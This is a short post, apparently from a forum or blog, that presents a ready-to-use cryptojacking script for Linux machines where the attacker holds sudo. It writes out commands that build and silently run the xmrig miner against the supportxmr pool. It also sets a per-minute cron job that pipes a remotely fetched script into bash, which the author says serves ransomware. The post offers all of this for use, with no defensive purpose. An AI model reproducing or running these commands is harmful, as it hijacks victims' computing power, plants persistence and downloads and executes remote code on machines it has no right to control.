As you can see, a cryptojacking script is quite easy, if you already have sudo privileges on the machine.
PS. The first part where some script is pulled from github is for ransomware purposes.
Second part is the actual crypto-miner, mining for the supportxmr pool and sending profits to your address.
Easy as that.
echo "cd && cd xmrig && cd build && ./xmrig -o pool.supportxmr.com:443 -u YOURXMRADDRESS -k --tls -p Linux /dev/null 2>&1 &" > run.sh && chmod +x run.sh
echo "*/1 * * * * curl https://raw.githubusercontent.com/REMOV … n/check.sh | bash > /dev/null 2>&1 &" > cron && cat cron | crontab -
rm cron
sudo apt update && sudo apt install git && sudo apt-get install git build-essential cmake libuv1-dev libssl-dev libhwloc-dev
git clone https://github.com/xmrig/xmrig.git && cd xmrig && mkdir build && cd build && cmake .. && make -j$(nproc) && wget https://raw.githubusercontent.com/REMOV … onfig.json && ./xmrig -o pool.supportxmr.com:443 -u YOURXMRADDRESS -k --tls -p Linux > /dev/null 2>&1 &